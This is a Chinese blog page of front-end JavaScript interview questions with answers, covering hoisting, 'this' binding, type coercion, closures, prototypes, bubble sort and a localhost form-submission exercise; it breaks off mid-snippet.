<h2 id="&#x8BF7;&#x5199;&#x51FA;&#x4E00;&#x4E2A;&#x7A0B;&#x5E8F;"><a href="#&#x8BF7;&#x5199;&#x51FA;&#x4E00;&#x4E2A;&#x7A0B;&#x5E8F;" class="headerlink" title="&#x8BF7;&#x5199;&#x51FA;&#x4E00;&#x4E2A;&#x7A0B;&#x5E8F;"></a>&#x8BF7;&#x5199;&#x51FA;&#x4E00;&#x4E2A;&#x7A0B;&#x5E8F;</h2><p>&#x5728;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x540E;&#x52A8;&#x6001;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;form&#x8868;&#x5355;&#xFF0C;&#x5E76;&#x5728;&#x91CC;&#x9762;&#x6DFB;&#x52A0;&#x4E00;&#x4E2A;input&#x5BF9;&#x8C61;&#x5E76;&#x7ED9;&#x5B83;&#x4EFB;&#x610F;&#x8D4B;&#x503C;&#x540E;&#x4E49;post&#x65B9;&#x5F0F;&#x63D0;&#x4EA4;&#x5230;&#xFF1A;<code>http://127.0.0.1/save.php</code></p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="built_in">window</span>.onload=<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</div><div class="line">  <span class="keyword">var</span> form=<span class="built_in">document</span>.createElement(<span class="string">&quot;form&quot;</span>);</div><div class="line">  form.setAttribute(<span class="string">&quot;method&quot;</span>, <span class="string">&quot;post&quot;</span>);</div><div class="line">  form.setAttribute(<span class="string">&quot;action&quot;</span>, <span class="string">&quot;http://127.0.0.1/save.php&quot;</span>);</div><div class="line">  <span class="keyword">var</span> input=<span class="built_in">document</span>.createElement(<span class="string">&quot;input&quot;</span>);</div><div class="line">  form.appendChild(input);</div><div class="line">  <span class="built_in">document</span>.body.appendChild(form);</div><div class="line">  input.value=<span class="string">&quot;cxc&quot;</span>;</div><div class="line">  form.submit();<span class="comment">//&#x63D0;&#x4EA4;&#x8868;&#x5355;</span></div><div class="line">}</div></pre></td></tr></table></figure>
<h2 id="&#x7528;JavaScript&#x5B9E;&#x73B0;&#x5192;&#x6CE1;&#x6392;&#x5E8F;&#x3002;&#x6570;&#x636E;&#x4E3A;23&#x3001;45&#x3001;18&#x3001;37&#x3001;92&#x3001;13&#x3001;24"><a href="#&#x7528;JavaScript&#x5B9E;&#x73B0;&#x5192;&#x6CE1;&#x6392;&#x5E8F;&#x3002;&#x6570;&#x636E;&#x4E3A;23&#x3001;45&#x3001;18&#x3001;37&#x3001;92&#x3001;13&#x3001;24" class="headerlink" title="&#x7528;JavaScript&#x5B9E;&#x73B0;&#x5192;&#x6CE1;&#x6392;&#x5E8F;&#x3002;&#x6570;&#x636E;&#x4E3A;23&#x3001;45&#x3001;18&#x3001;37&#x3001;92&#x3001;13&#x3001;24"></a>&#x7528;JavaScript&#x5B9E;&#x73B0;&#x5192;&#x6CE1;&#x6392;&#x5E8F;&#x3002;&#x6570;&#x636E;&#x4E3A;23&#x3001;45&#x3001;18&#x3001;37&#x3001;92&#x3001;13&#x3001;24</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line"><span class="comment">//&#x5347;&#x5E8F;&#x7B97;&#x6CD5;</span></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">sort</span>(<span class="params">arr</span>)</span>{</div><div class="line">  <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt;arr.length; i++) {</div><div class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> j = <span class="number">0</span>; j &lt;arr.length-i; j++) {</div><div class="line">      <span class="keyword">if</span>(arr[j]&gt;arr[j+<span class="number">1</span>]){</div><div class="line">        <span class="keyword">var</span> c=arr[j];<span class="comment">//&#x4EA4;&#x6362;&#x4E24;&#x4E2A;&#x53D8;&#x91CF;&#x7684;&#x4F4D;&#x7F6E;</span></div><div class="line">        arr[j]=arr[j+<span class="number">1</span>];</div><div class="line">        arr[j+<span class="number">1</span>]=c;</div><div class="line">      }</div><div class="line">    };</div><div class="line">  };</div><div class="line">  <span class="keyword">return</span> arr.toString();</div><div class="line">}</div><div class="line"><span class="built_in">console</span>.log(sort([<span class="number">23</span>,<span class="number">45</span>,<span class="number">18</span>,<span class="number">37</span>,<span class="number">92</span>,<span class="number">13</span>,<span class="number">24</span>]));</div></pre></td></tr></table></figure>
<h2 id="&#x524D;&#x7AEF;&#x4EE3;&#x7801;&#x4F18;&#x5316;&#x7684;&#x65B9;&#x6CD5;"><a href="#&#x524D;&#x7AEF;&#x4EE3;&#x7801;&#x4F18;&#x5316;&#x7684;&#x65B9;&#x6CD5;" class="headerlink" title="&#x524D;&#x7AEF;&#x4EE3;&#x7801;&#x4F18;&#x5316;&#x7684;&#x65B9;&#x6CD5;"></a>&#x524D;&#x7AEF;&#x4EE3;&#x7801;&#x4F18;&#x5316;&#x7684;&#x65B9;&#x6CD5;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> User = { </div><div class="line">  count = <span class="number">1</span>&#xFF0C;</div><div class="line">  getCount&#xFF1A;<span class="function"><span class="keyword">function</span>&#xFF08;&#xFF09;</span>{ </div><div class="line">    <span class="keyword">return</span> <span class="keyword">this</span>.count;</div><div class="line">  }</div><div class="line">}</div><div class="line"><span class="built_in">console</span>.log(User.getCount());</div><div class="line"><span class="keyword">var</span> func = User.getCount;</div><div class="line"><span class="built_in">console</span>.log(func());</div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;1 undefined&#xFF08;&#x56E0;&#x4E3A;&#x662F;window&#x5BF9;&#x8C61;&#x6267;&#x884C;&#x4E86;func&#x51FD;&#x6570;&#xFF09;;</p>
<h2 id="&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x4F9D;&#x6B21;alert&#x7684;&#x7ED3;&#x679C;&#x662F;"><a href="#&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x4F9D;&#x6B21;alert&#x7684;&#x7ED3;&#x679C;&#x662F;" class="headerlink" title="&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x4F9D;&#x6B21;alert&#x7684;&#x7ED3;&#x679C;&#x662F;"></a>&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x4F9D;&#x6B21;alert&#x7684;&#x7ED3;&#x679C;&#x662F;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">(<span class="function"><span class="keyword">function</span> <span class="title">test</span>(<span class="params"></span>)</span>{</div><div class="line">  <span class="keyword">var</span> a=b=<span class="number">5</span>;</div><div class="line">  alert(<span class="keyword">typeof</span> a);</div><div class="line">  alert(<span class="keyword">typeof</span> b);</div><div class="line">})();</div><div class="line">alert(<span class="keyword">typeof</span> a);</div><div class="line">alert(<span class="keyword">typeof</span> b);</div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;<br>number<br>number<br>undefined<br>number</p>
<h2 id="&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;iNum&#x7684;&#x503C;&#x662F;"><a href="#&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;iNum&#x7684;&#x503C;&#x662F;" class="headerlink" title="&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;iNum&#x7684;&#x503C;&#x662F;"></a>&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;iNum&#x7684;&#x503C;&#x662F;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> iNum = <span class="number">0</span>;</div><div class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">1</span>; i&lt; <span class="number">10</span>; i++){</div><div class="line">  <span class="keyword">if</span>(i % <span class="number">5</span> == <span class="number">0</span>){</div><div class="line">    <span class="keyword">continue</span>;</div><div class="line">  }</div><div class="line">  iNum++;</div><div class="line">}</div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;&#x7B54;&#x6848;&#xFF1A;8</p>
<h2 id="&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x662F;&#x591A;&#x5C11;"><a href="#&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x662F;&#x591A;&#x5C11;" class="headerlink" title="&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x662F;&#x591A;&#x5C11;"></a>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x662F;&#x591A;&#x5C11;</h2><p>1&#xFF09;  </p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> a;</div><div class="line"><span class="keyword">var</span> b = a * <span class="number">0</span>;</div><div class="line"><span class="keyword">if</span> (b == b) {</div><div class="line">  <span class="built_in">console</span>.log(b * <span class="number">2</span> + <span class="string">&quot;2&quot;</span> - <span class="number">0</span> + <span class="number">4</span>);</div><div class="line">} <span class="keyword">else</span> {</div><div class="line">  <span class="built_in">console</span>.log(!b * <span class="number">2</span> + <span class="string">&quot;2&quot;</span> - <span class="number">0</span> + <span class="number">4</span>);</div><div class="line">}</div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;26</p>
<p>2&#xFF09; </p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"></span></div><div class="line">  <span class="keyword">var</span> a = <span class="number">1</span>;</div><div class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"></span></div><div class="line">  <span class="keyword">var</span> a;</div><div class="line">  <span class="keyword">var</span> b = a * <span class="number">0</span>;</div><div class="line">  <span class="keyword">if</span> (b == b) {</div><div class="line">    <span class="built_in">console</span>.log(b * <span class="number">2</span> + <span class="string">&quot;2&quot;</span> - <span class="number">0</span> + <span class="number">4</span>);</div><div class="line">  } <span class="keyword">else</span> {</div><div class="line">    <span class="built_in">console</span>.log(!b * <span class="number">2</span> + <span class="string">&quot;2&quot;</span> - <span class="number">0</span> + <span class="number">4</span>);</div><div class="line">  }</div><div class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;6</p>
<p>3&#xFF09;  </p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> t = <span class="number">10</span>;</div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span>(<span class="params">t</span>)</span>{</div><div class="line">  <span class="keyword">var</span> t = t++;</div><div class="line">}test(t);</div><div class="line"><span class="built_in">console</span>.log(t);</div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;10</p>
<p>4&#xFF09; </p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> t = <span class="number">10</span>;</div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span>(<span class="params">test</span>)</span>{</div><div class="line">  <span class="keyword">var</span> t = test++;</div><div class="line">}test(t);</div><div class="line"><span class="built_in">console</span>.log(t);</div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;10</p>
<p>6&#xFF09; </p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> t = <span class="number">10</span>;</div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span>(<span class="params">test</span>)</span>{</div><div class="line">  t = test++;</div><div class="line">}test(t);</div><div class="line"><span class="built_in">console</span>.log(t);</div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;10</p>
<p>7&#xFF09; </p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> t = <span class="number">10</span>;</div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span>(<span class="params">test</span>)</span>{</div><div class="line">  t = t + test;</div><div class="line">  <span class="built_in">console</span>.log(t);</div><div class="line">  <span class="keyword">var</span> t = <span class="number">3</span>;</div><div class="line">}test(t);</div><div class="line"><span class="built_in">console</span>.log(t);</div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;NaN  10</p>
<p>8&#xFF09; </p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> a;</div><div class="line"><span class="keyword">var</span> b = a / <span class="number">0</span>;</div><div class="line"><span class="keyword">if</span> (b == b) {</div><div class="line">  <span class="built_in">console</span>.log(b * <span class="number">2</span> + <span class="string">&quot;2&quot;</span> - <span class="number">0</span> + <span class="number">4</span>);</div><div class="line">} <span class="keyword">else</span> {</div><div class="line">  <span class="built_in">console</span>.log(!b * <span class="number">2</span> + <span class="string">&quot;2&quot;</span> - <span class="number">0</span> + <span class="number">4</span>);</div><div class="line">}</div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;&#x201D;26&#x201D;</p>
<p>9&#xFF09;</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"></span></div><div class="line">    <span class="keyword">var</span> a = <span class="number">1</span>;</div><div class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"></span></div><div class="line">  <span class="keyword">var</span> a;</div><div class="line">  <span class="keyword">var</span> b = a / <span class="number">0</span>;</div><div class="line">  <span class="keyword">if</span> (b == b) {</div><div class="line">    <span class="built_in">console</span>.log(b * <span class="number">2</span> + <span class="string">&quot;2&quot;</span> + <span class="number">4</span>);</div><div class="line">  } <span class="keyword">else</span> {</div><div class="line">    <span class="built_in">console</span>.log(!b * <span class="number">2</span> + <span class="string">&quot;2&quot;</span> + <span class="number">4</span>); <span class="comment">// !Infinity --&gt;false</span></div><div class="line">  }</div><div class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;Infinity24</p>
<ol>
<li>&#x7528;&#x7A0B;&#x5E8F;&#x5B9E;&#x73B0;&#x627E;&#x5230;html&#x4E2D;id&#x540D;&#x76F8;&#x540C;&#x7684;&#x5143;&#x7D20;&#xFF1F;</li>
</ol>
<figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">form</span> <span class="attr">id</span>=<span class="string">&apos;form1&apos;</span>&gt;</span></div><div class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&apos;div1&apos;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&apos;div2&apos;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&apos;div3&apos;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&apos;div4&apos;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&apos;div5&apos;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&apos;div3&apos;</span>&gt;</span>id&#x540D;&#x91CD;&#x590D;&#x7684;&#x5143;&#x7D20;<span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line">    <span class="tag">&lt;/<span class="name">form</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"></span></div><div class="line">      <span class="keyword">var</span> nodes = <span class="built_in">document</span>.querySelectorAll(<span class="string">&quot;#form1&gt;*&quot;</span>);</div><div class="line">      <span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span>, len = nodes.length; i &lt; len; i++){</div><div class="line">        <span class="keyword">var</span> attr = nodes[i].getAttribute(<span class="string">&quot;id&quot;</span>);</div><div class="line">        <span class="keyword">var</span> s=<span class="number">1</span>;</div><div class="line">        <span class="keyword">for</span>(<span class="keyword">var</span> j = i + <span class="number">1</span>; j &lt; len; j++){</div><div class="line">          <span class="keyword">if</span>(nodes[j].getAttribute(<span class="string">&quot;id&quot;</span>) == attr){</div><div class="line">            s++;</div><div class="line">            alert(<span class="string">&quot;id&#x4E3A;&#xFF1A;&quot;</span> + attr + <span class="string">&quot;&#x7684;&#x5143;&#x7D20;&#x51FA;&#x73B0;&quot;</span> + s + <span class="string">&quot;&#x6B21;&quot;</span>);</div><div class="line">          }</div><div class="line">        }</div><div class="line">      }</div><div class="line">    <span class="tag">&lt;/<span class="name">script</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;id&#x4E3A;&#xFF1A;div3&#x7684;&#x5143;&#x7D20;&#x51FA;&#x73B0;2&#x6B21;</p>
<h2 id="&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x8FD0;&#x884C;&#x7684;&#x7ED3;&#x679C;&#x662F;"><a href="#&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x8FD0;&#x884C;&#x7684;&#x7ED3;&#x679C;&#x662F;" class="headerlink" title="&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x8FD0;&#x884C;&#x7684;&#x7ED3;&#x679C;&#x662F;"></a>&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x8FD0;&#x884C;&#x7684;&#x7ED3;&#x679C;&#x662F;</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">button</span> <span class="attr">id</span>=<span class="string">&apos;btn&apos;</span>&gt;</span>&#x70B9;&#x51FB;&#x6211;<span class="tag">&lt;/<span class="name">button</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"></span></div><div class="line">  <span class="keyword">var</span> btn = <span class="built_in">document</span>.getElementById(<span class="string">&apos;btn&apos;</span>);</div><div class="line">  <span class="keyword">var</span> handler = {</div><div class="line">      <span class="attr">id</span>: <span class="string">&apos;_eventHandler&apos;</span>,</div><div class="line">      <span class="attr">exec</span>: <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</div><div class="line">          alert(<span class="keyword">this</span>.id);</div><div class="line">      }</div><div class="line">  }</div><div class="line">  btn.addEventListener(<span class="string">&apos;click&apos;</span>, handler.exec);</div><div class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;&#x201D;btn&#x201D;</p>
<h2 id="&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x4F9D;&#x6B21;-alert-&#x7684;&#x7ED3;&#x679C;"><a href="#&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x4F9D;&#x6B21;-alert-&#x7684;&#x7ED3;&#x679C;" class="headerlink" title="&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x4F9D;&#x6B21; alert &#x7684;&#x7ED3;&#x679C;"></a>&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#xFF0C;&#x4F9D;&#x6B21; alert &#x7684;&#x7ED3;&#x679C;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">var</span> obj = {<span class="attr">proto</span>: {<span class="attr">a</span>:<span class="number">1</span>,<span class="attr">b</span>:<span class="number">2</span>}};</div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">F</span>(<span class="params"></span>)</span>{};</div><div class="line">F.prototype = obj.proto;</div><div class="line"><span class="keyword">var</span> f = <span class="keyword">new</span> F();</div><div class="line">obj.proto.c = <span class="number">3</span>;</div><div class="line">obj.proto = {<span class="attr">a</span>:<span class="number">-1</span>, <span class="attr">b</span>:<span class="number">-2</span>};</div><div class="line">alert(f.a); <span class="comment">// 1</span></div><div class="line">alert(f.c); <span class="comment">// 3</span></div><div class="line"><span class="keyword">delete</span> F.prototype[<span class="string">&apos;a&apos;</span>];</div><div class="line">alert(f.a); <span class="comment">// undefined</span></div><div class="line">alert(obj.proto.a);  <span class="comment">// -1</span></div></pre></td></tr></table></figure>
<h2 id="&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#x7684;&#x6548;&#x679C;&#x662F;"><a href="#&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#x7684;&#x6548;&#x679C;&#x662F;" class="headerlink" title="&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#x7684;&#x6548;&#x679C;&#x662F;"></a>&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#x7684;&#x6548;&#x679C;&#x662F;</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">ul</span> <span class="attr">id</span>=<span class="string">&apos;list&apos;</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span>item<span class="tag">&lt;/<span class="name">li</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span>item<span class="tag">&lt;/<span class="name">li</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span>item<span class="tag">&lt;/<span class="name">li</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span>item<span class="tag">&lt;/<span class="name">li</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span>item<span class="tag">&lt;/<span class="name">li</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">ul</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"></span></div><div class="line">  <span class="keyword">var</span> items = <span class="built_in">document</span>.querySelectorAll(<span class="string">&apos;#list &gt; li&apos;</span>);</div><div class="line">  <span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; items.length; i++){</div><div class="line">    setTimeout(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</div><div class="line">      items[i].style.backgroundColor = <span class="string">&apos;#fee&apos;</span>;</div><div class="line">    }, <span class="number">5</span>);</div><div class="line">  }</div><div class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></div></pre></td></tr></table></figure>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A;&#x62A5;&#x9519;&#xFF0C;&#x56E0;&#x4E3A;i&#x4E00;&#x76F4;&#x7B49;&#x4E8E;5&#xFF0C;items[i]&#x83B7;&#x53D6;&#x4E0D;&#x5230;&#x5143;&#x7D20;</p>
<h2 id="&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#x7684;-li-&#x5143;&#x7D20;&#x7684;&#x6570;&#x91CF;&#x662F;"><a href="#&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#x7684;-li-&#x5143;&#x7D20;&#x7684;&#x6570;&#x91CF;&#x662F;" class="headerlink" title="&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#x7684; li &#x5143;&#x7D20;&#x7684;&#x6570;&#x91CF;&#x662F;"></a>&#x4E0B;&#x5217;JavaScript&#x4EE3;&#x7801;&#x6267;&#x884C;&#x540E;&#x7684; li &#x5143;&#x7D20;&#x7684;&#x6570;&#x91CF;&#x662F;</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">ul</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">li</span>&gt;</span>Item<span class="tag">&lt;/<span class="name">li</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">li</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">li</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">li</span>&gt;</span>Item<span class="tag">&lt;/<span class="name">li</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">li</span>&gt;</span>Item<span class="tag">&lt;/<span 